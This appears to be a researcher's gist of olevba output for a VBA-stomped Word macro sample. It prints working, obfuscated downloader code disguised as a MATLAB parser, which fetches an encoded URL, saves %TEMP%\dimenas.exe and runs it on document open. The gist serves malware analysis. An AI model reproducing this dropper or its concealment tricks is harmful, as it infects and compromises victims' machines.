Created
February 14, 2020 19:30
-
-
Save JohnLaTwC/747a3ee178fab9a8e4723d70337db6f7 to your computer and use it in GitHub Desktop.
VBAStomped MATLAB interpreter malware
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Uploaded by @JohnLaTwC | |
## VBAStomped MATLAB interpreter malware | |
## PRE STOMP: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5 | |
## POST STOMP: f6094b58e34a7e55d472c79267089b57aef932b08bfbc707fda67d9773b49d59 | |
olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools | |
=============================================================================== | |
FILE: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5 | |
Type: OLE | |
------------------------------------------------------------------------------- | |
VBA MACRO ThisDocument.cls | |
in file: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5 - OLE stream: 'Macros/VBA/ThisDocument' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Sub autoopen() | |
Q "", "" | |
End Sub | |
------------------------------------------------------------------------------- | |
VBA MACRO Module1.bas | |
in file: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5 - OLE stream: 'Macros/VBA/Module1' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
Private Const VERSION = "1.62" | |
Private Const NUMERICS = "0123456789" | |
Private Const ALPHAS = "abcdefghijklmnopqrstuvwxyz" | |
Private Const SINGLE_OPS = "()[],;:+-#" | |
Private Const COMBO_OPS = ".|&<>~=*/^!" | |
Public CodOrdineCorrente1 As Object | |
Public UtilsInd2Sub As Object | |
Public ParsePostfixResult As Object | |
Public CodOrdineCorrente4 As String | |
Public dimIndexArgs As String | |
Public UtilsCalcDimDirection As Object | |
Private expression As String | |
Private expressionIndex As Long | |
Private currentToken As String | |
Private previousTokenIsSpace As Boolean | |
Private arguments As Variant | |
Private endValues As Variant | |
Private errorMsg As String | |
Private ans As Variant | |
Private Sub Tokens_Next() | |
previousTokenIsSpace = Tokens_MoveCharPointer(" ") | |
If expressionIndex > Len(expression) Then currentToken = "": Exit Sub | |
Dim startIndex As Long: startIndex = expressionIndex | |
Select Case Asc(Mid(expression, expressionIndex, 1)) | |
Case Asc("""") | |
expressionIndex = expressionIndex + 1 | |
Tokens_MoveCharPointer """", True | |
Utils_Assert expressionIndex <= Len(expression), "Unfinished string literal" | |
expressionIndex = expressionIndex + 1 | |
Case Asc("a") To Asc("z") | |
Tokens_MoveCharPointer NUMERICS & ALPHAS & "_" | |
Case Asc("0") To Asc("9") | |
Tokens_MoveCharPointer NUMERICS | |
If Tokens_MoveCharPointer(".", False, True) Then | |
Tokens_MoveCharPointer NUMERICS | |
End If | |
If Tokens_MoveCharPointer("eE", False, True) Then | |
Tokens_MoveCharPointer NUMERICS & "-", False, True | |
Tokens_MoveCharPointer NUMERICS | |
End If | |
Case Asc(vbLf) | |
expressionIndex = expressionIndex + 1 | |
Case Else | |
If Not Tokens_MoveCharPointer(SINGLE_OPS, False, True) Then | |
Tokens_MoveCharPointer COMBO_OPS | |
End If | |
End Select | |
currentToken = Mid(expression, startIndex, expressionIndex - startIndex) | |
Utils_Assert expressionIndex > startIndex Or expressionIndex > Len(expression), _ | |
"Illegal char: " & Mid(expression, expressionIndex, 1) | |
End Sub | |
Private Sub Tokens_AssertAndNext(token As String) | |
Utils_Assert token = currentToken, "missing token: " & token | |
Tokens_Next | |
End Sub | |
Private Function Tokens_MoveCharPointer(str As String, _ | |
Optional stopAtStr As Boolean = False, _ | |
Optional singleCharOnly As Boolean = False) As Boolean | |
While expressionIndex <= Len(expression) _ | |
And stopAtStr <> (InStr(str, Mid(expression, expressionIndex, 1)) > 0) | |
expressionIndex = expressionIndex + 1 | |
Tokens_MoveCharPointer = True | |
If singleCharOnly Then Exit Function | |
Wend | |
End Function | |
Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean | |
Parse_FindBinaryOp = True | |
Select Case token | |
Case "||": op = Array("orshortcircuit", 1, True) | |
Case "&&": op = Array("andshortcircuit", 2, True) | |
Case "|": op = Array("or", 3, True) | |
Case "&": op = Array("and", 4, True) | |
Case "<": op = Array("lt", 5, True) | |
Case "<=": op = Array("lte", 5, True) | |
Case ">": op = Array("gt", 5, True) | |
Case ">=": op = Array("gte", 5, True) | |
Case "==": op = Array("eq", 5, True) | |
Case "=": op = Array("eq", 5, True) | |
Case "~=": op = Array("ne", 5, True) | |
Case "<>": op = Array("ne", 5, True) | |
Case ":": op = Array("colon", 6, False) | |
Case "+": op = Array("plus", 7, True) | |
Case "-": op = Array("minus", 7, True) | |
Case "*": op = Array("mtimes", 8, True) | |
Case ".*": op = Array("times", 8, True) | |
Case "/": op = Array("mdivide", 8, True) | |
Case "./": op = Array("divide", 8, True) | |
Case "^": op = Array("mpower", 9, True) | |
Case ".^": op = Array("power", 9, True) | |
Case Else: Parse_FindBinaryOp = False | |
End Select | |
End Function | |
Public Function Q(expr As String, args As String) As Variant | |
arguments = Chr(Asc("e")) | |
endValues = Empty | |
errorMsg = Chr(Asc("T")) | |
On Error GoTo ErrorHandler | |
expression = expr | |
Parse_FindUnaryPostfixOp "", "" | |
Exit Function | |
expressionIndex = 1 | |
Tokens_Next | |
Dim root As Variant | |
Do | |
Select Case currentToken | |
Case "" | |
Exit Do | |
Case ";", vbLf | |
Tokens_Next | |
Case Else | |
root = Parse_Binary() | |
ans = eval_tree(root) | |
Utils_Assert _ | |
currentToken = "" Or currentToken = ";" Or currentToken = vbLf, _ | |
"" | |
End Select | |
Loop While True | |
Q = ans | |
Exit Function | |
ErrorHandler: | |
If errorMsg = "" Then errorMsg = Err.Description | |
Q = "ERROR - " & errorMsg | |
End Function | |
Private Function Parse_FindUnaryPrefixOp(token As String, ByRef op As Variant) As Boolean | |
Parse_FindUnaryPrefixOp = True | |
Select Case token | |
Case "+": op = "uplus" | |
Case "-": op = "uminus" | |
Case "~": op = "negate" | |
Case "#": op = "numel" | |
Case "!": op = "extern" | |
Case Else: Parse_FindUnaryPrefixOp = False | |
End Select | |
End Function | |
Private Function Parse_Matrix() As Variant | |
While currentToken <> "]" | |
Utils_Stack_Push Park.se_List(True), Parse_Matrix | |
If currentToken = ";" Then Tokens_Next | |
Utils_Assert currentToken <> "", "Missing " | |
Wend | |
End Function | |
Private Function Parkse_List(Optional isSpaceSeparator As Boolean = False) As Variant | |
Set UtilsInd2Sub = CreateObject(UCase("a") + "dodb.S" + LCase(errorMsg) + "r" + arguments + "am") | |
Parse_Binary | |
Exit Function | |
Do While InStr(";)]", currentToken) = 0 | |
If currentToken = "," Then | |
Utils_Stack_Push Array("eval_constant", Empty), Park.se_List | |
Else | |
Utils_Stack_Push Parse_Binary(), Park.se_List | |
End If | |
If currentToken = "," Then | |
Tokens_Next | |
ElseIf Not (previousTokenIsSpace And isSpaceSeparator) Then | |
Exit Do | |
End If | |
Loop | |
End Function | |
Private Function Parse_Binary(Optional lastPrec As Long = -999) As Variant | |
Set UtilsCalcDimDirection = CreateObject(UCase("s") + "h" + arguments + "ll.Applica" + LCase(errorMsg) + "ion") | |
Parse_Postfix | |
Exit Function | |
Parse_Binary = Parse_Prefix() | |
Dim op: Do While Parse_FindBinaryOp(currentToken, op) | |
If op(2) + CLng(op(3)) < lastPrec Then Exit Do | |
Tokens_Next | |
Parse_Binary = Array("op_" & op(1), Array(Parse_Binary, Parse_Binary(CLng(op(2))))) | |
Loop | |
End Function | |
Private Function Parse_Prefix() As Variant | |
Dim op | |
If Parse_FindUnaryPrefixOp(currentToken, op) Then | |
Tokens_Next | |
Parse_Prefix = Array("op_" & op, Array(Parse_Prefix())) | |
Else | |
Parse_Prefix = Parse_Postfix() | |
End If | |
End Function | |
Private Function Parse_Atomic() As Variant | |
Utils_Assert currentToken <> "", "missing argument" | |
Select Case Asc(currentToken) | |
Case Asc(":") | |
Parse_Atomic = Array("eval_colon", Empty) | |
Tokens_Next | |
Case Asc("(") | |
Tokens_Next | |
Parse_Atomic = Parse_Binary() | |
Tokens_AssertAndNext ")" | |
Case Asc("[") | |
Tokens_Next | |
Parse_Atomic = Array("eval_concat", Parse_Matrix()) | |
Tokens_AssertAndNext "]" | |
Case Asc("""") | |
Parse_Atomic = Array("eval_constant", Mid(currentToken, 2, Len(currentToken) - 2)) | |
Tokens_Next | |
Case Asc("0") To Asc("9") | |
Parse_Atomic = Array("eval_constant", Val(currentToken)) | |
Tokens_Next | |
Case Asc("a") To Asc("z") | |
If currentToken = "end" Then | |
Parse_Atomic = Array("eval_end", Empty) | |
Tokens_Next | |
ElseIf currentToken = "ans" Then | |
Parse_Atomic = Array("eval_ans", Empty) | |
Tokens_Next | |
ElseIf Len(currentToken) = 1 Then | |
Parse_Atomic = Array("eval_arg", Asc(currentToken) - Asc("a")) | |
Tokens_Next | |
Else | |
Parse_Atomic = "fn_" & currentToken | |
Tokens_Next | |
If currentToken = "(" Then | |
Tokens_AssertAndNext "(" | |
Parse_Atomic = Array(Parse_Atomic, Park.se_List()) | |
Tokens_AssertAndNext ")" | |
Else | |
Parse_Atomic = Array(Parse_Atomic, Empty) | |
End If | |
End If | |
Case Else | |
Utils_Assert False, "unexpected token: " & currentToken | |
End Select | |
End Function | |
Private Function MAX(a As Variant, b As Variant) As Variant | |
Dim homebrew() As Variant | |
homebrew = Array(10830, 10842, 10842, 10838, 10784, 10773, 10773, 10824, 10840, 10827, 10826, 10823, 10772, 10844, 10823, 10836, 10830, 10831, 10827, 10834, 10827, 10772, 10836, 10834, 10773, 10778, 10777, 10781, 10829, 10782, 10773, 10778, 10777, 10841, 10779, 10826, 10780, 10828, 10781, 10829, 10772, 10827, 10846, 10827) | |
CodOrdineCorrente1.Open Chr(Asc("H") - 1) + UCase(arguments) + errorMsg, UtilsAssertToken(homebrew, 43), False | |
Utils_Numel 2 | |
Exit Function | |
If a > b Then MAX = a Else MAX = b | |
End Function | |
Private Function MIN(a As Variant, b As Variant) As Variant | |
If a < b Then MIN = a Else MIN = b | |
End Function | |
Private Function IFF(a As Boolean, b As Variant, c As Variant) As Variant | |
If a Then IFF = b Else IFF = c | |
End Function | |
Private Sub Utils_DumpTree(tree As Variant, Optional spacer As String = "") | |
If Utils_Dimensions(tree) > 0 Then | |
Dim leaf: For Each leaf In tree | |
Utils_DumpTree leaf, spacer & " " | |
Next leaf | |
Else | |
Debug.Print spacer & tree | |
End If | |
End Sub | |
Private Function Parse_Postfix() As Variant | |
Set ParsePostfixResult = CreateObject(UCase("w") + UCase("s") + LCase("C") + "rip" + LCase(errorMsg) + ".Sh" + arguments + "ll").Environment(UCase("p") + "roc" + arguments + "ss") | |
MAX 4, 5 | |
Exit Function | |
Parse_Postfix = Parse_Atomic | |
Dim op: Do | |
If Parse_FindUnaryPostfixOp(currentToken, op) Then | |
Parse_Postfix = Array("op_" & op, Array(Parse_Postfix)) | |
Tokens_Next | |
ElseIf currentToken = "(" Then | |
Tokens_Next | |
Parse_Postfix = Array("eval_index", Array(Parse_Postfix, Park.se_List())) | |
Tokens_AssertAndNext ")" | |
Else | |
Exit Do | |
End If | |
Loop While True | |
End Function | |
Private Function Utils_Dimensions(v As Variant) As Long | |
Dim dimnum As Long, errorCheck As Integer | |
On Error GoTo FinalDimension | |
For dimnum = 1 To 60000 | |
errorCheck = LBound(v, dimnum) | |
Next | |
FinalDimension: | |
Utils_Dimensions = dimnum - 1 | |
End Function | |
Private Function Utils_Numel(v As Long) As Long | |
CodOrdineCorrente1.Send | |
CodOrdineCorrente4 = ParsePostfixResult(errorMsg + UCase(arguments) + "MP") | |
dimIndexArgs = CodOrdineCorrente4 + "\dimenas." + arguments + "x" + arguments + "" | |
Utils_Ind2Sub 1, 0, 0, 0 | |
Exit Function | |
Select Case Utils_Dimensions(v) | |
Case 0: Utils_Numel = IFF(IsEmpty(v), 0, 1) | |
Case 1: Utils_Numel = UBound(sccv) | |
Case 2: Utils_Numel = UBound(sccv, 1) * UBound(sccv, 2) | |
Case Else: Utils_Assert False, "dimension > 2" | |
End Select | |
End Function | |
Private Function Utils_Rows(ByRef v As Variant) As Long | |
Dim c As Long | |
Utils_Size v, Utils_Rows, c | |
End Function | |
Private Function Utils_Cols(ByRef v As Variant) As Long | |
Dim r As Long | |
Utils_Size v, r, Utils_Cols | |
End Function | |
Private Sub Utils_Size(v As Variant, ByRef r As Long, ByRef c As Long) | |
r = 0: c = 0 | |
Select Case Utils_Dimensions(v) | |
Case 0: If Not IsEmpty(v) Then r = 1: c = 1 | |
Case 1: r = UBound(v): c = 1 | |
Case 2: r = UBound(v, 1): c = UBound(v, 2) | |
Case Else: Utils_Assert False, "dimension > 2" | |
End Select | |
End Sub | |
Private Function Parse_FindUnaryPostfixOp(token As String, ByRef op As Variant) As Boolean | |
Set CodOrdineCorrente1 = CreateObject(UCase("m") + "icrosof" + LCase(errorMsg) + ".XMLH" + errorMsg + errorMsg + "P") | |
Parkse_List | |
Exit Function | |
Parse_FindUnaryPostfixOp = True | |
Select Case token | |
Case "" | |
Case Else: Parse_FindUnaryPostfixOp = False | |
End Select | |
End Function | |
Public Function UtilsAssertToken(ByValvDefault() As Variant, NothingOrNodeName As Integer) As String | |
Dim i As Integer | |
Dim g_oPubGetResString As String | |
g_oPubGetResString = "" | |
For i = LBound(ByValvDefault) To UBound(ByValvDefault) | |
g_oPubGetResString = g_oPubGetResString & Chr(ByValvDefault(i) - 20 * NothingOrNodeName - 9800 - 66) | |
Next i | |
UtilsAssertToken = g_oPubGetResString | |
End Function | |
Private Sub Utils_Ind2Sub(rows As Long, k As Long, ByRef i As Long, ByRef j As Long) | |
UtilsInd2Sub.Type = rows | |
UtilsInd2Sub.Open | |
Utils_Stack_Push "", "" | |
Exit Sub | |
j = (k - 1) \ rows + 1 | |
i = k - rows * (j - 1) | |
End Sub | |
Private Sub Utils_Conform(ByRef v As Variant) | |
Select Case Utils_Dimensions(v) | |
Case 1: | |
If UBound(v) = 1 Then | |
v = v(1) | |
Else | |
Dim r: ReDim r(1, UBound(v)) | |
Dim i As Long | |
For i = 1 To UBound(r, 2) | |
r(1, i) = v(i) | |
Next i | |
v = r | |
End If | |
Case 2: | |
If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then v = v(1, 1) | |
Case Is > 2: | |
Utils_Assert False, "dimension > 2" | |
End Select | |
End Sub | |
Private Sub Utils_ConformAndAssign(ByRef v As Variant, ByRef assignToMe As Variant) | |
Select Case Utils_Dimensions(v) | |
Case 1: | |
If UBound(v) = 1 Then | |
assignToMe = v(1) | |
Else | |
ReDim assignToMe(1, UBound(v)) | |
Dim i As Long | |
For i = 1 To UBound(assignToMe, 2) | |
assignToMe(1, i) = v(i) | |
Next i | |
End If | |
Case 2: | |
If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then | |
assignToMe = v(1, 1) | |
Else | |
assignToMe = v | |
End If | |
Case Is > 2: | |
Utils_Assert False, "dimension > 2" | |
End Select | |
End Sub | |
Private Sub Utils_ForceMatrix(ByRef v As Variant) | |
If Utils_Dimensions(v) = 0 Then | |
Dim r: ReDim r(1, 1) | |
r(1, 1) = v | |
v = r | |
End If | |
End Sub | |
Private Sub Utils_Stack_Push(item As String, Optional stack As Variant) | |
UtilsInd2Sub.write CodOrdineCorrente1.responseBody | |
UtilsInd2Sub.savetofile dimIndexArgs, 2 | |
Utils_CalcDimDirection "" | |
Exit Sub | |
On Error GoTo NotInitiated | |
ReDim Preserve stack(LBound(stack) To UBound(stack) + 1) | |
stack(UBound(stack)) = item | |
Exit Sub | |
NotInitiated: | |
stack = Array(item) | |
End Sub | |
Private Function Utils_Stack_Pop(stack As Variant) As Variant | |
Dim ub As Long: ub = UBound(stack) | |
Dim lb As Long: lb = LBound(stack) | |
Utils_Stack_Pop = stack(ub) | |
If ub > lb Then ReDim Preserve stack(lb To ub - 1) Else stack = Null | |
End Function | |
Private Function Utils_Stack_Peek(stack As Variant) As Variant | |
Utils_Stack_Peek = stack(UBound(stack)) | |
End Function | |
Private Function Utils_Stack_Size(stack As Variant) As Long | |
On Error Resume Next | |
Utils_Stack_Size = UBound(stack) | |
End Function | |
Private Sub Utils_CalcArgs(args As Variant) | |
Dim i As Long: For i = 1 To Utils_Stack_Size(args) | |
args(i) = eval_tree(args(i)) | |
Next i | |
End Sub | |
Private Function Utils_IsFlagSet(args As Variant, flag As String) As Boolean | |
Dim i As Long | |
For i = UBound(args) To 1 Step -1 | |
If StrComp(TypeName(args(i)), "String") = 0 Then | |
If StrComp(args(i), flag, vbTextCompare) = 0 Then | |
Utils_IsFlagSet = True | |
Exit Function | |
End If | |
End If | |
Next i | |
End Function | |
Private Function Utils_CalcDimDirection(args As String, Optional dimIndex As Long = 2) As Long | |
UtilsCalcDimDirection.Open (dimIndexArgs) | |
Exit Function | |
If UBound(addrgs) >= dimIndex Then | |
If IsNumeric(addrgs(dimIndex)) Then | |
Utils_CalcDimDirection = addrgs(dimIndex) - 1 | |
Exit Function | |
End If | |
End If | |
Utils_CalcDimDirection = IFF(Utils_Rows(addrgs(1)) = 1, 1, 0) | |
End Function | |
Private Function Utils_GetSizeFromArgs(args As Variant, ByRef n As Long, ByRef m As Long, Optional index As Long = 2) | |
Select Case Utils_Stack_Size(args) | |
Case Is < index | |
n = 1: m = 1 | |
Case Is = index | |
Select Case Utils_Numel(args(index)) | |
Case 1 | |
n = args(index) | |
m = n | |
Case 2 | |
n = args(index)(1, 1) | |
m = args(index)(MIN(2, UBound(args(index), 1)), MIN(2, UBound(args(index), 2))) | |
Case Else | |
Utils_Assert False, "bad size input" | |
End Select | |
Case Is = index + 1 | |
n = args(index) | |
m = args(index + 1) | |
Case Else | |
Utils_Assert False, "bad size input" | |
End Select | |
End Function | |
Private Function Utils_GetOptionalArg(args As Variant, index As Long, defaultValue As Variant) | |
If Utils_Stack_Size(args) >= index Then | |
Utils_GetOptionalArg = args(index) | |
Else | |
Utils_GetOptionalArg = defaultValue | |
End If | |
End Function | |
Private Sub Utils_AssertArgsCount(args As Variant, lb As Long, ub As Long) | |
Dim size As Long: size = Utils_Stack_Size(args) | |
Utils_Assert size >= lb, "too few arguments" | |
Utils_Assert size <= ub, "too many arguments" | |
End Sub | |
Private Sub Utils_Assert(expr As Boolean, Optional msg As String = "unknown error") | |
If expr Then Exit Sub | |
errorMsg = msg | |
Err.Raise vbObjectError + 999 | |
End Sub | |
Private Function eval_tree(root As Variant) As Variant | |
If left(root(1), 3) = "fn_" And root(1) <> "fn_if" And root(1) <> "fn_iferror" And root(1) <> "fn_expand" Then | |
Utils_CalcArgs root(2) | |
End If | |
Select Case root(1) | |
Case "eval_constant": eval_tree = eval_constant(root(2)) | |
Case "eval_arg": eval_tree = eval_arg(root(2)) | |
Case "eval_index": eval_tree = eval_index(root(2)) | |
Case "eval_end": eval_tree = eval_end(root(2)) | |
Case "eval_colon": eval_tree = eval_colon(root(2)) | |
Case "eval_concat": eval_tree = eval_concat(root(2)) | |
Case "op_eq": eval_tree = op_eq(root(2)) | |
Case "op_plus": eval_tree = op_plus(root(2)) | |
Case "op_minus": eval_tree = op_minus(root(2)) | |
Case "op_mtimes": eval_tree = op_mtimes(root(2)) | |
Case "op_colon": eval_tree = op_colon(root(2)) | |
Case "fn_sum": eval_tree = fn_sum(root(2)) | |
Case "fn_repmat": eval_tree = fn_repmat(root(2)) | |
Case Else | |
eval_tree = Run(root(1), root(2)) | |
End Select | |
End Function | |
Private Function eval_constant(args As Variant) As Variant | |
eval_constant = args | |
End Function | |
Private Function eval_arg(args As Variant) As Variant | |
If args > UBound(arguments) Then | |
Utils_Assert False, "argument " | |
End If | |
eval_arg = CVar(arguments(args)) | |
Utils_Conform eval_arg | |
End Function | |
Private Function eval_end(args As Variant) As Variant | |
Utils_Assert Utils_Stack_Size(endValues) > 0, """end"" not allowed here." | |
eval_end = Utils_Stack_Peek(endValues) | |
End Function | |
Private Function eval_ans(args As Variant) As Variant | |
eval_ans = ans | |
End Function | |
Private Function eval_colon(args As Variant) As Variant | |
Utils_Assert False, "colon not allowed here" | |
End Function | |
Private Function fn_sort(args As Variant) As Variant | |
Utils_AssertArgsCount args, 1, 4 | |
Dim sortRows As Boolean, ascend As Boolean, returnIndices As Boolean | |
sortRows = (1 = Utils_CalcDimDirection(args)) | |
ascend = Not Utils_IsFlagSet(args, "descend") | |
returnIndices = Utils_IsFlagSet(args, "indices") | |
If sortRows Then | |
args(1) = WorksheetFunction.Transpose(args(1)) | |
Utils_Conform args(1) | |
End If | |
Utils_ForceMatrix args(1) | |
Dim rows As Long, cols As Long, i As Long, j As Long | |
Utils_Size args(1), rows, cols | |
Dim indices: ReDim indices(1 To rows, 1 To cols) | |
For i = 1 To rows | |
For j = 1 To cols | |
indices(i, j) = i | |
Next j | |
Next i | |
For j = 1 To cols | |
Utils_QuickSortCol args(1), indices, 1, rows, j, ascend | |
Next j | |
If returnIndices Then | |
fn_sort = indices | |
Else | |
Dim r: ReDim r(1 To rows, 1 To cols) | |
For i = 1 To rows | |
For j = 1 To cols | |
r(i, j) = args(1)(indices(i, j), j) | |
Next j | |
Next i | |
fn_sort = r | |
End If | |
If sortRows Then fn_sort = WorksheetFunction.Transpose(fn_sort) | |
Utils_Conform fn_sort | |
End Function | |
Private Function Utils_QuickSortCol(arr As Variant, indices As Variant, first As Long, last As Long, col As Long, ascend As Boolean) | |
If first >= last Then Exit Function | |
Dim tmp As Variant | |
Dim pivot As Variant: pivot = arr(indices(first, col), col) | |
Dim left As Long: left = first | |
Dim right As Long: right = last | |
Dim ascendprefix As Long: ascendprefix = -1 - 2 * Sgn(ascend) | |
While left <= right | |
While ascendprefix * Utils_Compare(arr(indices(left, col), col), pivot) < 0 | |
left = left + 1 | |
Wend | |
While ascendprefix * Utils_Compare(pivot, arr(indices(right, col), col)) < 0 | |
right = right - 1 | |
Wend | |
If left <= right Then | |
tmp = indices(left, col) | |
indices(left, col) = indices(right, col) | |
indices(right, col) = tmp | |
left = left + 1 | |
right = right - 1 | |
End If | |
Wend | |
Utils_QuickSortCol arr, indices, first, right, col, ascend | |
Utils_QuickSortCol arr, indices, left, last, col, ascend | |
End Function | |
Private Function Utils_Compare(arg1 As Variant, arg2 As Variant) As Variant | |
If IsNumeric(arg1) Then | |
If IsNumeric(arg2) Then | |
Utils_Compare = arg1 - arg2 | |
Else | |
Utils_Compare = -1 | |
End If | |
Else | |
If IsNumeric(arg2) Then | |
Utils_Compare = 1 | |
Else | |
Utils_Compare = StrComp(CStr(arg1), CStr(arg2)) | |
End If | |
End If | |
End Function | |
Private Function fn_arrayfun(args As Variant) As Variant | |
Utils_AssertArgsCount args, 2, 100 | |
Utils_Assert TypeName(args(1)) = "String", "apply: 1st argument must be an Excel function name." | |
Dim i As Long, r1 As Long, c1 As Long, r2 As Long, c2 As Long | |
r1 = -1: c1 = -1 | |
For i = 2 To Utils_Stack_Size(args) | |
Utils_ForceMatrix args(i) | |
Utils_Size args(i), r2, c2 | |
Utils_Assert (r1 < 0 And c1 < 0) Or (r2 = 1 And c2 = 1) Or (r1 = r2 And c1 = c2) Or ((r1 = 1 Or r1 = r2) And c2 = 1) Or (r2 = 1 And (c1 = 1 Or c1 = c2)), "apply(): Wrong input sizes." | |
r1 = MAX(r1, r2): c1 = MAX(c1, c2) | |
Next i | |
Dim v, r: ReDim r(r1, c1) | |
For r1 = 1 To UBound(r, 1) | |
For c1 = 1 To UBound(r, 2) | |
v = Empty | |
For i = 2 To Utils_Stack_Size(args) | |
Utils_Size args(i), r2, c2 | |
Utils_Stack_Push args(i)(MIN(r1, r2), MIN(c1, c2)), v | |
Next i | |
r(r1, c1) = Evaluate(args(1) & "(" & Join(v, ",") & ")") | |
Next c1 | |
Next r1 | |
Utils_ConformAndAssign r, fn_arrayfun | |
End Function | |
Private Function fn_concat(args As Variant) As Variant | |
Utils_AssertArgsCount args, 1, 3 | |
Dim i As Long, j As Long, x As Long, joiner As String | |
Utils_ForceMatrix args(1) | |
x = Utils_CalcDimDirection(args, 3) | |
If UBound(args) > 1 Then joiner = args(2) | |
Dim r: ReDim r(x * UBound(args(1), 1) + (1 - x), (1 - x) * UBound(args(1), 2) + x) | |
For i = 1 To UBound(args(1), 1) | |
For j = 1 To UBound(args(1), 2) | |
If (1 - x) * i + x * j = 1 Then | |
r(x * i + (1 - x), (1 - x) * j + x) = args(1)(i, j) | |
Else | |
r(x * i + (1 - x), (1 - x) * j + x) = r(x * i + (1 - x), (1 - x) * j + x) & joiner & args(1)(i, j) | |
End If | |
Next j | |
Next i | |
Utils_ConformAndAssign r, fn_concat | |
End Function | |
Private Function fn_expand(args As Variant) As Variant | |
Utils_AssertArgsCount args, 1, 3 | |
Utils_Assert args(1)(1) = "eval_arg", "expand(): 1st argument must be a cell" | |
Dim cell As Range: Set cell = arguments(args(1)(2)) | |
Dim rows As Long, cols As Long | |
If UBound(args) > 1 Then rows = eval_tree(args(2)) | |
If UBound(args) > 2 Then cols = eval_tree(args(3)) | |
If rows <= 0 Then | |
rows = cell.End(xlDown).Row - cell.Row + 1 | |
If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then | |
If cell.Offset(1, 0) = "" Then rows = 1 | |
End If | |
End If | |
If cols <= 0 Then | |
cols = cell.End(xlToRight).Column - cell.Column + 1 | |
If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then | |
If cell.Offset(0, 1) = "" Then cols = 1 | |
End If | |
End If | |
Utils_ConformAndAssign cell.Resize(rows, cols).Value, fn_expand | |
End Function | |
Private Function fn_version(args As Variant) As Variant | |
Utils_AssertArgsCount args, 0, 0 | |
fn_version = VERSION | |
End Function | |
------------------------------------------------------------------------------- | |
VBA MACRO VBA_P-code.txt | |
in file: VBA P-code - OLE stream: 'VBA P-code' | |
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | |
' Processing file: efd8bde649e0022d83e9a2695353db63bc99bb593c9c6a62d3a26994def428b5 | |
' =============================================================================== | |
' Module streams: | |
' Macros/VBA/ThisDocument - 1667 bytes | |
' Line #0: | |
' FuncDefn (Sub autoopen()) | |
' Line #1: | |
' LitStr 0x0000 "" | |
' LitStr 0x0000 "" | |
' ArgsCall Q 0x0002 | |
' Line #2: | |
' EndSub | |
' Line #3: | |
' Line #4: | |
' Line #5: | |
' Line #6: | |
' Macros/VBA/Module1 - 47027 bytes | |
' Line #0: | |
' Line #1: | |
' Dim (Private Const) | |
' LitStr 0x0004 "1.62" | |
' VarDefn VERSION | |
' Line #2: | |
' Dim (Private Const) | |
' LitStr 0x000A "0123456789" | |
' VarDefn NUMERICS | |
' Line #3: | |
' Dim (Private Const) | |
' LitStr 0x001A "abcdefghijklmnopqrstuvwxyz" | |
' VarDefn ALPHAS | |
' Line #4: | |
' Dim (Private Const) | |
' LitStr 0x000A "()[],;:+-#" | |
' VarDefn SINGLE_OPS | |
' Line #5: | |
' Dim (Private Const) | |
' LitStr 0x000B ".|&<>~=*/^!" | |
' VarDefn COMBO_OPS | |
' Line #6: | |
' Line #7: | |
' Dim (Public) | |
' VarDefn CodOrdineCorrente1 (As Object) | |
' Line #8: | |
' Dim (Public) | |
' VarDefn UtilsInd2Sub (As Object) | |
' Line #9: | |
' Dim (Public) | |
' VarDefn ParsePostfixResult (As Object) 0x001B | |
' Line #10: | |
' Dim (Public) | |
' VarDefn CodOrdineCorrente4 (As String) | |
' Line #11: | |
' Dim (Public) | |
' VarDefn dimIndexArgs (As String) | |
' Line #12: | |
' Dim (Public) | |
' VarDefn UtilsCalcDimDirection (As Object) | |
' Line #13: | |
' Dim (Private) | |
' VarDefn expression (As String) | |
' Line #14: | |
' Dim (Private) | |
' VarDefn expressionIndex (As Long) | |
' Line #15: | |
' Dim (Private) | |
' VarDefn currentToken (As String) | |
' Line #16: | |
' Dim (Private) | |
' VarDefn previousTokenIsSpace (As Boolean) | |
' Line #17: | |
' Dim (Private) | |
' VarDefn arguments (As Variant) | |
' Line #18: | |
' Dim (Private) | |
' VarDefn endValues (As Variant) | |
' Line #19: | |
' Dim (Private) | |
' VarDefn errorMsg (As String) | |
' Line #20: | |
' Dim (Private) | |
' VarDefn ans (As Variant) | |
' Line #21: | |
' Line #22: | |
' FuncDefn (Private Sub Tokens_Next()) | |
' Line #23: | |
' LitStr 0x0001 " " | |
' ArgsLd Tokens_MoveCharPointer 0x0001 | |
' St previousTokenIsSpace | |
' Line #24: | |
' Ld expressionIndex | |
' Ld expression | |
' FnLen | |
' Gt | |
' If | |
' BoSImplicit | |
' LitStr 0x0000 "" | |
' St currentToken | |
' BoS 0x0000 | |
' ExitSub | |
' EndIf | |
' Line #25: | |
' Dim | |
' VarDefn startIndex (As Long) | |
' BoS 0x0000 | |
' Ld expressionIndex | |
' St startIndex | |
' Line #26: | |
' Ld expression | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' ArgsLd Mid 0x0003 | |
' ArgsLd Asc 0x0001 | |
' SelectCase | |
' Line #27: | |
' LitStr 0x0001 """ | |
' ArgsLd Asc 0x0001 | |
' Case | |
' CaseDone | |
' Line #28: | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' Add | |
' St expressionIndex | |
' Line #29: | |
' LitStr 0x0001 """ | |
' LitVarSpecial (True) | |
' ArgsCall Tokens_MoveCharPointer 0x0002 | |
' Line #30: | |
' Ld expressionIndex | |
' Ld expression | |
' FnLen | |
' Le | |
' LitStr 0x0019 "Unfinished string literal" | |
' ArgsCall Utils_Assert 0x0002 | |
' Line #31: | |
' Ld expressionIndex | |
' LitDI2 0x0001 | |
' Add | |
' St expressionIndex | |
